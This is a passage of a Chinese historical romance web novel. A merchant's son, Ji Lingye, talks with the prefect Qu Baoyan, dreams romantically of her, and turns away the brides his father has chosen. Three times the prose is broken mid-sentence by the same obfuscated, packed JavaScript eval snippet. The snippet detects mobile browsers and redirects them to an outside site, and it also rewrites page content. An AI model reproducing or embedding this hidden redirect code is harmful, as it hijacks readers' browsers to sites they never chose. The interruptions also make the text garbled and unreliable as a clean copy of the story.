季凌也这才松了口气，把狗尾巴草往腿上一拍：“那可不是。” “以前听人说她年轻时在山里威风得很，有个绰号我记不清了，反正我们那片儿的老人家一提起她，脸上都是佩服。”他话说得溜了起来，却越说越心虚，到最后干脆直接收了尾：“不过那都是很早以前的事了。现在她早收了心，在家念佛、打算盘，比谁都清静。” 他娘姚云霜，年轻时候那不是一般的威风，是官府听了都要震三震的名号，人称“姚大寨主”。老一辈人至今讲起来还津津有味，说那时候琅州和渌州交界的山林里出了一个山大王，占山为王，自立门户，义气凌天。 不同于一般的山匪，别的山匪是夜里放火，杀人抢劫，她们那一支是劫富济贫，日头底下分粮。 事情似乎很久远了，传得也神乎其神，有人说她娘年轻时独挑五庄，有人说她带人劫过官粮，连官兵都不敢追得太急。相传当年一位郡主南巡路过此地，在半路歇脚时被劫上了山，结果非但未恼，还跟她结拜姐妹，说是“山中有义气，女儿当如是” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228935|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这话是真是假无人考证，反正每次有人问起，他娘都一声冷哼：“狗嘴里吐不出象牙。” 他小时候还觉得牛哄哄，见人就吹，后来长大了，也知道这事不大能随便说。 尤其今天还是当着州官的面。 他娘当过匪，但他可是良民。想到这儿，季凌也又咳了一声，把狗尾巴草换了只手，面上依旧一副云淡风轻，心里却琢磨着怎么找个话头，把话题岔过去才好。 瞿宝砚道：“那此次公子为乡里百姓讨个说法，也是令堂授意？” 季凌也顿了一下，眼神收了回来。 方才还在说他娘年轻时的“打猎”往事，这忽然兜回来的一问，却像是顺水推舟地试探他此行的真正缘由。 他原先吊儿郎当惯了，一路半真半玩，如今对上她这般冷静沉明的目光，倒觉出自己方才那点插科打诨，未免显得轻浮了些。他心中一凛，知道这话若答得敷衍，便是失了分寸。 说不清为什么，但是季凌也不想给眼前人留下一个轻浮不着调的印象。 沉默片刻，他望着瞿宝砚，答道：“是——不过，即便没有她授意，我也会来。” 他说这话时，语气已收了三分玩笑，只剩下七分认真。 “我娘行事一向利落，当断则断。”他顿了顿，似是回想什么，“她教我一件事：做买卖，也要像做人一样，认理守信，扛得起事。人可以不识字，但不能不认账，更不能不认人情。” 他说到这，语气才缓缓沉下来： “我季家做生意，讲的是八个字——诚信为本，义字当先。” “大人作为一州之长，想必也知道，官府什么时候靠得住，什么时候靠不住。” “别的地方我不敢说。但在琅州，乡亲们把地交到我们手里，不是因为我们钱多，也不是我们仗势欺人使了什么手段，而是因为他们信得过季家。” “如今上游泄水，水灾突发，庄稼毁了，屋塌了。我们季家若只知道收租，却在他们最苦的时候躲着不出面，袖手旁观，那这‘义’字还有什么值当？再大的生意，也不过是个空壳子。” “所以这一趟，不管能不能讨出个说法，都得亲自来一趟。叫大家心里有个着落——回去也好有个交代。” 话音落下，狗尾巴草在他指间摇了摇，山风一吹，微微颤了两下。 瞿宝砚看着他，缓声道：“这么说，这一趟，就是为了给乡里百姓一个交代。” 季凌也颔首：“对，就是给大家一个交代。” 这句话落下时，他眉目间已不见方才的嬉意，眼神沉静、神色肃然。语气并不高，却格外郑重。 那一瞬，他整个人像是定住了似的，山风从肩头拂过，他却坐得笔直，不动分毫。仿佛只是为乡亲走一趟渌州这件完全算不上轰轰烈烈的小事，在他心里却重如千钧，不容敷衍。 像是，这一趟——必须来，也只能他来。 话音落下，夜风拂来。 瞿宝砚凝视着他半晌，眼底波澜不惊，却像是看见了更远处的山色。 她忽然轻轻一笑，道：“文章千字易得，真心一片难求。” “季公子心有真章，如此品性，非读书所得，却胜于书。” 月光如水，一寸寸照在她眉眼之上。 这一句，算是那句“笑话”的回应。 这世上的人，常以声色为貌，见影而定形。 好似一株野草，只因生在山隅，便被误作荒芜。可若拭去浮尘，才知那是夜风中最挺直的一束，根深而不喧，香微而不俗。 初见他时，只觉是个肆意张狂的纨绔之辈，口舌伶俐，语带调笑，活脱脱一副惹事模样。 可人心何曾全显于表？ 世间多有言辞恳切者，实则虚情假意；也有嘻笑轻狂之人，偏偏一副赤子之心。 这样的人，做事不循章法，不屑曲意逢迎，却不推卸、不敷衍、不含糊。眼里有是非，心里有冷暖。身上有烟火气，也有一寸寸淬出来的骨气。不是教条里学来的好人模样，却是真靠得住。 她一向敬重“真”，而“真”之人世间难得。 此刻夜深风静，她心头却泛起微微涟漪。 不是因他言之动听，而是，他本身就是答案。 47. 梨花惊梦 山村的夜格外寂静，万籁俱寂，唯有虫声细细。 季凌也回到院里搭起的小帐，另一边帐子里的人早都睡熟了。他脱下外袍，长身一躺，枕上软枕，枕头里填着晒干的决明子，带着一股淡淡的安眠药香。 他行惯了路，山地再陋也不觉得难受，此刻帐外山风轻拂，凉而不寒，身下是干净铺就的褥子，耳边传来远处山林轻响，或有几声鸡犬，交织出山村独有的静谧。倒比客栈卧宿还安生几分。 闭上眼，不过一盏茶便有了睡意。 帐篷一角留了缝隙，风吹进来，轻撩他额前碎发，也不知是不是花香掺着露气，隐隐透着一股清淡的甜味。 季凌也翻了个身，却不知怎的，脑海里忽地浮出那道倚门而坐的青衫身影。 夜色淡了眉眼，却淡不去那人一言一语的清明。 方才那句“非读书所得却胜于书”仍带着淡淡的笑意萦绕在他耳畔，久久不散。好似此刻她就在他的跟前。 季凌也深呼吸了一口气，睁开眼，沉沉的黑眸望向帐顶一片幽暗。 过了一会儿，他轻轻叹了口气，抬手将眼前晃动的狗尾巴草拨开，手背贴上额头，尝试再次闭起双眼。 这觉，恐怕是没那么好睡了。 夜风清凉，草叶窸窣。 不知过了多久，脑海中的万千思绪才被这山里的安静轻轻裹住，不知何时，沉入了梦中。 春色明媚。 晴光从窗棂缝里斜斜落进来，暖洋洋地洒在几案之上。院子里种了两株梨花树，正值繁花似雪的时节，风一吹，花瓣便纷纷扬扬落下，像白蝶一般穿过窗纸的光影，在室内轻轻飘荡。 季凌也坐在书案前，面前是一册摊开的线装书，纸页泛黄柔韧，墨迹清晰。 他手边放着一支尚未干透的笔，纸上的字带着一点清淡的墨香，砚台边沿溢出几滴被风吹干的水痕。案头还有一套瓷白茶具，一盏杯中袅袅升起的白气在阳光中打着旋，似要拢住这静好春日，不叫它轻易溜走。 季凌也缓缓抬头四顾，却皱起了眉。 ——这不是他的屋子。 他院子里种的是一棵石榴，还有一株桃树。况且他房里绝不可能出现这么雅致的场景，读书写字？他从小最怕的就是坐书堂，若不是被硬压着，连书都不愿意多看一眼。 可如今，他竟乖乖坐在书桌前，手执书卷，身边还摆着笔墨纸砚，好似一个规矩至极的读书郎。 他这是在干什么？疯了不成。 未及深思，便听见一声轻笑自身后传来。 “这一篇读完了吗？” 这声音温柔中带着点揶揄，语气却亲昵自然，仿佛两人已相识多年，时常在这案前读书习字一般。 听到这熟悉的声音，季凌也却错愕一愣，又猛地回头。 只见来人并未着那一身宝蓝色的官服，而是一袭素色常服，神色清淡，却带着笑，就这么望着他。日光柔柔地洒下来，将她整个人笼在光里，像是从梦境深处缓缓走来，又像本就是梦的一部分。 他尚未开口，她却已走近，衣角一摆，熟稔地坐到了他身侧。 两人靠得极近，近得他甚至能嗅到她衣襟间那丝淡淡的香气，不是脂粉香，也不是花香，而是一种干净又明亮的味道。 她低头看了一眼案上的字，手指在纸面上一顿，似是点评，也似随意摩挲。 “这回写的比上次进步不少，你看，用心办总能做得好。”她轻声夸赞，眼中有笑，又顿了顿，“只是这个‘也’字，还差了点意思。” 季凌也说不出话，只觉得心口仿佛被什么柔软又清凉的东西轻轻覆盖，像是月光落雪，又像她眼中的一点波光。 他也看向纸上的字，是他写的，还是他主动要求写的。 她忽然转头看他一眼，目光澄澈：“我来教你再写一遍？” 季凌也鬼使神差地点了头。 她笑了笑，手已落在他的手背上。那指尖微凉，却带着细微的力度，将他执笔的手稳稳握住。然后，一笔一画，带着他在纸上缓缓勾勒。 “横要收，竖要稳，心里想着这个字的骨气，再下笔。” 她的声音轻得仿佛怕惊动了窗外满园的梨花春色，在他耳畔却如朝钟暮鼓，一下一下，敲得他心间震颤。他低头看着两人交叠的手，目光微微晃了神。 屋外梨花再度落下一层，风穿堂而过，带着春日最温柔的气息。而案上一行新字，已悄悄添上。 他却没看那字，只看她侧脸。 她睫羽低垂，鼻尖微翘，唇角带着柔意，肌肤在春光中泛着细腻莹润的光泽。 他似乎早就想这样了，一寸寸地用目光描摹她的眉眼，似乎这样才能记得更加清楚，却又不是单纯地为了记住五官，而是一种更加隐秘，更难以言喻的情愫在悄然滋生助长。 而此刻，她离他那么近，近得仿佛他只要稍一动，就能—— 察觉到了他的目光，她偏过头来。 “怎么了？”她眨了眨眼，语气里带着玩笑，“我脸上有墨汁么？” 说着，她提起毛笔，在砚台中蘸了点墨，轻轻一抬，忽地在他的鼻尖上轻点了一下。 季凌也猛地怔住。他没躲，也来不及躲。 那一点墨痕轻落，仿佛落在心头，漾开一圈圈无声的涟漪，既烫又软，说不清是什么滋味。 四目相对。 屋外风吹过梨树，碎花落下几瓣，正好飘过纸案，像是也受了这气氛的感染，悄然投身梦里。时间仿佛在这一刻轻轻凝住，天地清明，日风缱绻。 她的眼神缓缓移下，最后停驻在他唇瓣上。 温度悄然攀升，感受到她的目光，他下意识屏住了呼吸，心跳不受控制地重了几分，连耳畔的风声都仿佛远去了。 她抬起手，指腹轻缓地抚上他了的脸颊。 那触感仿若初春第一缕微风拂过桃花枝头，叫他从骨子里泛起一阵战栗的颤意。 他望着她的眼，她那目光与往日不同，不再含笑，却格外专注。静静的，柔软而笃定，仿佛正望着心上的人。她靠得越来越近，气息如梨花带露，带着雨后初晴的清馥，近到他唇间落下她呼吸的热度，像晨光初照，山泉初融，像一场柔软让人甘愿沉沦其中的梦。 他从未有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237959|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这种感觉。 心肝像被什么悄悄握住，轻轻一捏，便泛起一阵阵酥麻。他不知道自己该不该闭上眼睛，是不是应该伸手回握住这片刻的靠近。 此刻天地皆寂，唯有心跳如鼓，似水流长。 他喉头轻动，却一句话也说不出，只指尖微颤着。 而当那轻柔一吻落在唇瓣的刹那，季凌也脑海中那根紧绷的弦终于“嗡”地一声——断了。 他不再犹豫，而是蓦然抬手，掌心紧紧覆上她的后腰，用力一收，几乎是将她整个身子圈进怀里。那动作带着一种克制下的炽热渴望，他的下颌缓缓贴近她的鬓角，鼻息与她的发香交缠一处，如潮水漫上心岸。 季凌也的眼神早已变了模样，再无昔日的戏谑懒意，唯余一汪深深的炽热。仿佛旱地忽遇春雨，干涸的心湖被骤然搅动，深处的水流陡然汹涌，不自觉地愈发收紧了怀抱，将她整个人嵌入怀中。 这是一种前所未有的满足感。 她的额发轻擦过他的颈窝，两人气息交叠，脉搏交颤，像两支并枝的芦苇，在同一阵风中悄然缠绕。 他低声唤她的名字，那声音低哑又温热，仿佛落在夜色中的一粒火星，轻轻落下，引燃一场无声的梦境。 他张口欲言，却被她清甜温热的气息再次堵住。指尖一凉，已被她握住。肌肤相贴的刹那，一种细密的战栗悄然蔓延—— 指下春波柔胜雪， 半臂香温，唇畔轻风泄。 云鬓微松身如缎， 眉心一点红如血。 一线香魂牵欲绝， 双影轻颤，暗火烧无歇。 玉齿轻咬声未彻， 梦回山色初如月。 ··· 季凌也在一阵急促的喘息中睁开眼。 天刚破晓，帐外仍沉在薄梦未醒的清静中。四周寂寂无声，只听远处一声鸟鸣，似乎带着未尽的倦意。 他额角覆着一层细汗，仿佛是从梦中带出的热潮，胸口微微起伏，一呼一吸都还残留着那一瞬炽热的幻象。 他坐起身来，帐篷里的空气清冷，但他身上的汗却将衣料紧紧黏在了肌肤上，腻得紧，越发不适。那撑床手臂的肌理随着动作紧了紧，颈侧筋脉隐隐绷起，仿佛每一寸皮肤都还残留着梦中那温软的触感。 晨风钻进来，他却不觉得冷，只觉得骨子里浮着一股热，似乎有火在体内幽幽燃着，既无处可去，也不肯熄灭。 他深喘一口气，伸手扯开湿黏的衣襟，还是感到闷热，干脆将上衣脱下，扔在一旁。 他抬起头，定定望向帐顶，静了片刻，眼中一瞬闪过什么，像是尚未沉下去的火星，轻轻一跳，又炸开火花来。他忽地起身，赤着上身走出帐外。 天色尚暗，四下寂静。他来到院中水缸边，挽起水桶，汲了一整桶清水。 接着闭上眼，抬臂猛地将那一桶凉水兜头浇下。 水花四溅，沿着肩颈淌下，冲散贴在身上的汗意，他微微张唇，水珠顺着发梢、喉结、锁骨一路滚落，在肌肤上留下一串冰凉的印记。 残月清冷如霜，他却还被困在梦中的余热。 48. 梨花惊梦2 瞿宝砚昨夜入梦迟，今晨醒得却早。 山中夜短，露重风凉。她披了件外袍，一个人从屋后绕出，一路顺着小径，悄悄往山腰走去。 晨光未盛，沿途枝叶还带着新鲜的晨露，小径幽深，石阶微湿，风声穿林。 行至一块开阔地，她止步站定，登临一块嶙峋山石，俯瞰脚下—— 远村初醒，炊烟尚未起，青山如黛，村屋隐隐，一派清寂。 这些日，渌州的灾情已由快马上报朝廷，赈务亦告一段落。水退之后，州中秩序渐归正轨，仓粮清点、工役造册皆已次第展开。如此政绩，原是立功一件。而京中御史台的弹章，却接连而至。 奏折上言辞不烈，但字字藏锋。或言她“处事太急，动令过速”；或指“政风峻厉，恐激民情”；又有上疏斥其“擅专独断，不循州府参议之礼”，表面是风格之争，实则每句都刺中旧派要害。官场沉疴百年不动，谁都不做声，默认下的规矩，她不过一番举手投足，便搅碎一池温水，自然教人难安。 此事本也在意料之中。 自水灾突发之日起，她行事作风便是雷厉风行，肃旧胥，清田册，又亲巡五县、昼夜督赈，诸事一言而决，从未假手他人。虽政令如风，果决见效，却与地方“协参制衡”的惯例多有折冲。 而她调来渌州才不过月余。 功成于民，然对盘根错节的地方权力格局而言，无异于釜底抽薪。 毕竟渌州盐道粮运、堤工诸役，皆牵涉郡中士绅商贾，利益纵横交错。一纸政令，便如刀下见肉，叫人如何能安坐不言？如今一场大水，将这个规则撕开一个口子，也将那条藏在河堤之下的利益链一并剖开。水退之后，有人呼“治功”，自然也有人喊“越矩”。 更何况，她不属旧党，不亲清流。入仕至今，亦未与权贵世家有过密切交结。 如今以一介新官孤身赴偏州，一己独行。政绩虽显，然朝堂众目如炬，锋芒太盛，必为众矢之的。 名曰“劝诫”，实为敲打；言是“循法”，实则设限。 朝堂之中，难容的从不只是失败之人，更是不合众意的功成之人。 瞿宝砚站在山石之上，看了山下良久，忽而轻轻一笑。 她静站在山巅，任山风吹拂衣袖，呼吸了几口山间鲜冷的空气，觉得时间也差不多了，便拂袖准备折返。 脚下小径依旧濡湿，青石缝里浮着细碎青苔。转过前边最后一道弯，便能看见狗拴家的院落。 而当瞿宝砚的目光落在院中时，却顿住了脚步，微一挑眉。 院中水缸边，一道身影正立在微白晨光之中。 只见那人赤着上身，肌肤上水光潋滟，发间未干，湿意沿着颈侧与肩胛滑下，映出一副线条分明的轮廓。 男人肩背宽阔，胸膛在深吸间微微起伏，肌肉匀称而不夸张，仿佛是长年奔走中淬炼出的身形，藏着一股韧劲儿。水沿着他腹线上浅浅的纹路往下蜿蜒，滑过小臂上绷紧的肌肉，滴落在石板上，碎成细碎水花。 他伸手将发丝往后抹去，水珠自指间飞溅，只见他又提起一桶水，自头顶猛地泼下。水声碎成一地飞珠，打在他肩头、背脊、锁骨与腰线之上，寒意斑斑，力道十足。 瞿宝砚一瞬未语。 不曾想，这位季公子，会在这寂静清晨里，以这样一种坦然又炽热的姿态，闯入她的眼底。 她素来不是为皮相所惑之人，但眼前这一幕，却叫人一时移不开眼，自觉有些……失礼，又有些——动人。 水珠从他赤裸的上身一路滑落，竟生出一种近乎野性的纯净。 既不矫饰，也不张扬。 一切都是如此真实，仿佛此人原就该这样立在清晨山雾中，与天地共气，并非刻意风流，而是一种不经意间、令人心动的鲜活之气。 瞿宝砚看着那身影，眼底掠过一丝笑意。 院子里，帐内小厮正睡得东倒西歪，打着呼，忽听外头“哗啦”一声好大水响，他眉头一皱，迷迷糊糊翻了个身。 半梦半醒间又听得一阵响动，他咕哝着撑起身，披了件衣裳，鞋都没穿好就一瘸一拐地跑了出去。 出来一看，只见自家少爷光着个膀子正往自己脑袋上泼水，水哗啦啦地顺着往下淌，雾气缭绕中像是在练什么玄门道法。 “少爷！少爷您怎么了？”小厮一瞬间清醒，一脸惊悚地看着季凌也。 “这大清早的……您往身上泼冷水做什么啊？” 他狐疑地皱了皱眉，还不待季凌也说什么，随即眼神一亮，明白过来。他家少爷这是早起洗身子呢，但眼神下移之后，又变得有些古怪：“您要是洗澡的话，怎么也不脱裤子……” 空气安静了两秒。 季凌也转过头，额角抽了抽，眼神幽幽地看了他一眼，语气简短：“滚。” 小厮哆嗦了一下，心里默默腹诽，这一大早的又是发哪门子的疯？ 嘴上却连忙道：“哦哦哦，那我给您拿套衣裳去！” 说完脚底抹油，蹭蹭跑了。 · 瞿宝砚洗漱完毕，在屋里坐下，宝桃儿端来早膳。她低头斟了一盏茶，正欲动箸，想到怎么不见狗拴儿和两位老人，正打算问问，忽听外头脚步声匆匆。 抬眼望去，是季凌也身边的小厮，一路小跑进了院子，站定后拱了拱手，气喘吁吁地道： “大人，实在不好意思，我们少爷刚刚收了家里的急信，说是……有些要紧事得早些回去。”他顿了顿，又陪笑道：“方才见您不在，没来得及当面道别，大概意思是……这趟就先回琅州了，还请您……见谅。” 瞿宝砚微微颔首，将茶盏轻轻搁回桌上：“既是家中有事，先行便是。不必挂怀。” 小厮讪讪笑了笑，又道：“我家少爷临走时还特地嘱咐，说多谢大人照拂，改日再登门致谢。”说完鞠了一躬，逃也似地退了下去。 瞿宝砚望着小厮远去的背影，手中茶盏未动，眼神微微一动。 急信，这地方急信也通得如此及时么。 宝桃儿端着碗碟出来，一边摆放一边张望那人远去的背影嘀咕道：“我瞧着这季公子怪得很，昨天还要跟着咱们一起来，今早走得就跟被谁撵着似的，像是做了什么亏心事。” 瞿宝砚笑而不语。 · 琅州，季府门前。 一行人马方才抵达，守门小厮便快步迎上前来，朝最前的熟面孔一拱手：“回来啦？这一趟可走了不少日子。路上都还顺当吧？” 为首的随行小厮拍了拍身上的风尘，笑道：“顺得很。新上任的渌州知州是个干实事的，治水治得牢，百姓服气，咱们这一路，连个讨饭的都没遇着。山道虽险，路上却平安得很。” 话音未落，那辆马车的车帘从内掀开。 季凌也一脚踏下车来，肩上薄披风掀起一角，被风吹得猎猎作响。 他一露面，门前几个小厮便齐声唤道： “爷回来了！” “季爷回来了！” 平日里季凌也惯爱说笑，这群下人也多半不拘礼数，但这一回，季凌也却没像往常那样随口调笑几句，只是微微颔首，目光掠过众人，没有多言便举步入府。 门前众人怔了一瞬，你看我、我看你，一时面面相觑。 半晌，有人悄悄开口：“咱爷今儿这神气……怎的像是在渌州碰上事了？” 另一人道：“渌州没什么事，铺子也都好得很，不过自打从那山里回来咱爷一路上就沉默的可怕，咱也不敢问——” 正说着，迎门的小厮才回过神来，忘了自己有话要说，便快步要追上那背影，但季凌也脚步太快，只好在廊下道：“少爷，老爷在您院里正等您呢！” 穿过一道月门，绕过竹影婆娑的影壁，季凌也回到自个儿的院子。 熟悉的屋檐下一株石榴花火红一团，衬着正午的阳光开得正旺。他才踏进廊下，便听见里头传来一道温厚的声音： “哎哟，我宝贝儿子回来了！” 门帘一掀，季老爷笑得眼睛都眯成了一条缝，一边快步迎出来，一边抬手朝他肩上轻轻一拍：“这一趟跑得可不短，我天天盼着你回来。来来来，歇歇脚，爹有些好东西要给你看。” 季凌也抬眸看了眼自家爹那副热情得快要蹦起来的模样，这才从心事中抽身回神，唤道：“爹。” “诶！”季老爷高兴应道，似是有些迫不及待，拉着季凌也进屋，“别再门口站着了——走走走， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237960|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先进屋再说。” 屋帘一掀，光影微晃。 季凌也一踏进去，脚步一顿，像是瞬间被什么雷劈了一样。 只见他屋内桌椅板凳统统被移到了一边，正中，整整一圈，高挂着□□幅半人高的女子画像。 画轴排得工整，每一位画中女子服饰姿态都各不相同，或立或坐，或捧书、或执灯、各有神采，气质不一，无一幅雷同。 而在这画展最中央，一方鎏金匾额赫然高悬，大大写着——“良缘天赐”。 “……” 季凌也扯了扯嘴角，额角青筋不易察觉地跳了一下。半晌没说话，接着抬眸缓缓望向坐在榻上、正笑眯眯抿茶的季老爷。 “……爹？” “哎！”季老爷把茶碗一搁，笑得一脸得意，“你瞧，这几位——是不是都十分不错？” 季凌也：“……” “您这是请菩萨呢？” 季老爷胡子一吹：“什么请菩萨，这是请儿媳妇！” 季老爷恢复一脸正经，坐直了身子，语重心长道，“你也老大不小了，你爹我年轻的时候，像你这会儿，孩子都能打酱油了！你再看看你爹那些老友——哪个不是早早抱上了儿孙？结果你这花都还没开窍呢，你说我跟你娘能不着急吗？如今是一枝花，过几年，这花老了败了，哪个姑娘还愿意挑你。” 他起身，站到那几副画像前：“这些可都是爹好不容易才托人弄到的，人家府里可都宝贝着自己的女儿。听说是咱家来求，一个个都不愿意，你爹是拜帖又送礼，花了好些银子才把这些‘宝贝疙瘩’给请回来。” “不容易啊——”说罢，还摇了摇头。 季凌也：“……” 季老爷瞥了眼儿子，又咳了一声继续道：“不过，你要是有中意的姑娘，这些力气都值当了。你看啊，这位是城东孙举人家的女儿，名唤书凝，听说性情极好，才气高，写得一手好字，将来你们要是有了孩子，多少也能继承点书香气，不至于跟你小时候似的，连千字文都背不全。” “……” “这位是陶府的大女儿，听闻能力强着呢。前年她爹病倒，她管着铺子，一年赚了三百两净银！你们要是成了亲，这生意一定是越做越大，说不定铺子都开到岭南去了。有个人分担，不至于一个人太累。” “还有这位······” “爹。”季凌也忽然开口，打断了他爹滔滔不绝的话。 季老爷停下来，睁大眼睛静静等着他儿子开口。 季凌也看了眼那些画像，语气淡淡，却不失认真：“你觉得见着画像就对人动了心，然后上门求娶，成的婚靠谱吗？” 季老爷一愣，道：“那怎么不靠谱了？爹也不是随便给你选的姑娘啊，人家那是有口有碑的。” 季凌也轻笑一声：“你这话一听就不靠谱，还有口有碑，又不是挑物件。” 季天峰这下沉默了，觉得儿子说的也有道理，他转身缓缓坐下，沉吟片刻，道：“那你说怎么个找法？你现在都二十四了，再过几年就奔三了，再不找可就难了，难道你真要一辈子一个人？” “我跟你说，还是找个伴儿好啊，总有人知冷知暖。你说成家是为了什么？要说这里头的道理，谁都能讲上一箩筐。但其实根本就没那么多大道理。说白了，就像我跟你娘，年轻的时候叫做喜欢，时间久了，那叫踏实。你嫌她啰嗦，但不管她说什么我都爱听，听着心里就舒坦。见着你，看着你从那小不点长成今天这高大模样，我心里也欢喜。家有余财，人和事兴，便是喜事，这就是家。不然你说赚这么大家业做什么？死了又带不走。” 季凌也听着沉默了半晌，又道：“您说的不错，若是这个道理，更不该如此草率。一幅画像能够看出什么？除了相貌，我不了解她，她也不了解我。若是这样娶回来，对她不公，对我也不公。” 他说着收回目光，望向父亲：“要找，也得是我亲自去找的。” 季天峰原本还捏着杯子想再劝几句，却被季凌也这一番沉静而认真的话说得一愣。 他怔了片刻，盯着自家儿子看了几眼，眼神一动，室内就这么静了几息，他又冷不丁开口： “你小子是不是有中意的姑娘了。” 49. 梨花惊梦3 这回换季凌也一怔。 父子俩大眼瞪小眼。 季天峰这句话不是疑问，而是肯定的语气。像老厨子闻见锅里是不是放了花椒一样，甚至几粒都知道，隔着三丈远都能尝出那点心思的滋味。 季凌也这下没有辩解，只是垂眸轻哼了声：“人家未必看得上我。” 季天峰闻言，微微有些惊讶。 这意思是真的了。 虽说他儿子此刻突然极有自知之明，但作为父母自然要给孩儿信心，况且这小子这回总算是开窍了，绝无“不战而退”的道理。 便装作没好气地好言斥道：“人家亲口说看不上你了吗？没有你怎么就认定了？” 接着语气肃然道：“你是有缺点，但也就是话多话损，爱犯口业——这个有心就能改正。再说，我季天峰的儿子怎么会差，我跟你娘一直都好生教导你，虽不说拔尖的，可也绝不比旁人差一分。何况，咱家底不薄，有底气，人也正派，哪一样拿不出手？” “当年我追你娘的时候，那一群人里，我哪儿算得上出挑？文不成武不就，除了兜里有点碎银，没什么可夸的。但我诚心诚意，认定了便是认定了，非你娘不可。你记住了，追姑娘，头一条就是心诚。诚意到家，天都帮忙。” 说到最后，季天峰却突然话锋一转：“——实在不行，你中意哪家姑娘，你跟爹说，你爹娘就是拉下这张老脸，也一定给你上门说说这亲事。” 季凌也一挥手：“行了行了，别得寸进尺了，这些画像马上都给我撤走，以后也不许送来。我累了，赶了这么久的路骨头都要散架了，都别吵吵，我要睡觉！” 说罢转身回里屋，走之前朝自己院中的心腹小厮淡淡扫了一眼。 那小厮立刻心领神会，咳了一声，精神陡然抖擞，接着脚下一动，冲着门边早就磨拳擦掌的几位同伴低声一吆喝：“快快快！爷发话了，收图！清场！” 几人动作飞快，三下五除二地卷起画像，一副副装轴打包，堪称行云流水、毫无留情。 季老爷还想继续追问那姑娘的事，结果一回头，就见自己手下的人正被拦腰赶着往外走，个个手里还捧着画像。 “哎哎哎！你们几个怎么回事？这可是正经事——” “老爷，您慢走啊，下次请早！”那领头的小厮态度极为客气，嘴上笑着，手上却一点不含糊，直接就将人一路“请”出了院门。 吵吵嚷嚷中，大门缓缓合上。 院中总算重归宁静。 季凌也进了屋，一甩袍子就往榻上一倒，沾了枕头便不动了。 他是真困了，连鞋都没脱利索，只觉全身骨头像被人拆开又重装了一遍，哪哪儿都透着酸胀。他一手拽过被子蒙住脸，心里却还在回荡着方才他爹说的那些“金玉良言”，脑子里乱糟糟地转了几圈。 很快，困意便裹着他沉沉往下坠去。 这一回梦来得比前几夜更快。 无风，也无月。 · 华灯高挂，灯影如昼，院中人声鼎沸。 满庭春色伴着梨花香气，似雪纷扬。檐下垂帘轻摆，几只白鹭自空掠过，留下一线清鸣，仿佛远山惊梦。 戏未开场，满园的人来人往，一片嘈杂。 季凌也被挤在人群中，只得立在最后一排。他原想往前挪几步，却被层层人潮挡得动弹不得。 身侧人影交错，推搡着、擦着肩、拱手作揖的、交谈寒暄的，热闹非凡，却无人向他投来一眼，仿佛他是个误入此地的外来客。 季凌也只好驻足原地。抬眼望去，只见前方一排排红木座椅坐得满满当当，尽是些宽袍软履的世家名流，士族子弟，手中折扇轻摇，言笑晏晏。 正这时，前方忽然一阵骚动，有人起身，有人侧身，像是有贵人入场，引得众人纷纷侧首望去。 只见前排座位上的众人纷纷起身，执扇拱手—— 一道身影被众人簇拥着缓步而来，所经之处，衣袂侧身、低语避让，所有人的目光竟都不约而同地落在她身上。 那人一袭绯色官袍，胸前绣着团鹭纹样，发冠如云，身姿端凝如画，未言语间却自有一派风骨清贵。在座者皆朝她作揖行礼，神情恭敬；执扇低语之间，仿若众星拱月。 那身影如玉一般，静静立在光影之间，不染一尘。 她含笑颔首，向四方还礼，接着款款坐入戏台正前那张居中的座位。 季凌也站在人群最后，只觉目光穿过重重人影定格在她身上，心头一跳。 他想上前，却蓦地发现，脚下像是生了根，竟无法向前半步。 只听一声锣响骤空而起，四座顿静。 身边恰有两人低声交谈起来。 一人问：“这唱的是哪出？” 另一人道：“这戏叫《梨花梦》，讲的是位小姐三见书生便芳心暗许，梦中与他成了亲。可惜梦外情未出口，书生便病逝了……终是梨花一场梦，可惜啊——” 丝竹慢板自檐下缓缓响起，帘幕上拉，灯火一明。 戏台开场。 【引子·丑角念白】 （丑角甩扇登台，边走边念，表情夸张） 哎呀你道是书生才子，最擅教人心乱； 小姐闺中，哪晓得春风一起便乱红千丈？ 这一面柳桥，他相迎； 那一面画舫，他题笔； 再一面游山，他轻言巧语把名唤—— 便叫那一颗芳心，扑通扑通，不得安宁！ 【旦角独唱】 （旦角上台，手执油纸伞） 小桥边，柳绦绦，谁执油伞立东堤？ 低眉避，未曾题，记他一眼回眸意。 舟中坐，倚窗弄，玉指轻弹幽思寄。 山径远，唤我名，却不知我心似焚如炽。 （三步一叹，拂袖转身） 三面逢，春心起，怎奈芳心苦自知？ 怕他知，怕不知，今宵梦里，能否与君依？ （缓步入梦，双袖轻舞） 梦里花灯明十里，红妆绣榻对鸾镜。 罗帐重重拜花影，玉指交缠结连理。 